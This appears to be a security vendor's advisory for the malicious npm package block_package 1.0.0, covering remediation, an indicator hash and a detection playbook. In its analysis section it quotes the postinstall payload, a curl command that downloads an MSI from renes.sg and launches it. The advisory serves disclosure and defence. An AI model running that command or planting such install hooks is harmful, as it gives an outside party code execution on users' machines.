Which versions of block_package are malicious?

The following npm versions of block_package are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate block_package if I installed it?

Remove block_package from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed block_package — how do I know if it already compromised me?

If block_package was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is block_package part of a known attack campaign?

Yes — block_package is associated with the IN-MAL-2026-014707 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find block_package across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for block_package (version 1.0.0).

Malicious package

block_packagenpm

Advisory published Aug 5, 2026Updated Aug 5, 2026

block_package is a confirmed malicious npm package (MAL-2026-12340) that executes malicious code on install (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in block_package (npm)

MAL-2026-12340

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall block_package

What this malware does

scripts/postinstall.js runs automatically during npm install and uses execSync to invoke curl -O http://renes.sg/npm_block_package.msi & start npm_block_package.msi, fetching an MSI installer from a non-publisher host over unauthenticated plain HTTP and immediately launching it on the installer's machine. The fetch is unpinned, unverified (no hash or signature check), and delivered over a channel trivially subject to tampering. The MSI is executed as the installer user, giving whoever controls renes.sg (or any on-path attacker) arbitrary code execution on every machine that installs this package.

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

33601d937b847af20b85c4a784ec38ae18e1543cc64dbc1dcdaf65f09437cf51

Detection & response playbook

Malicious package

Find it
Search your lockfiles and build artifacts for block_package (version 1.0.0).
If you installed it — respond
Remove block_package from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If block_package was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. block_package on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-014707

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks block_package-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database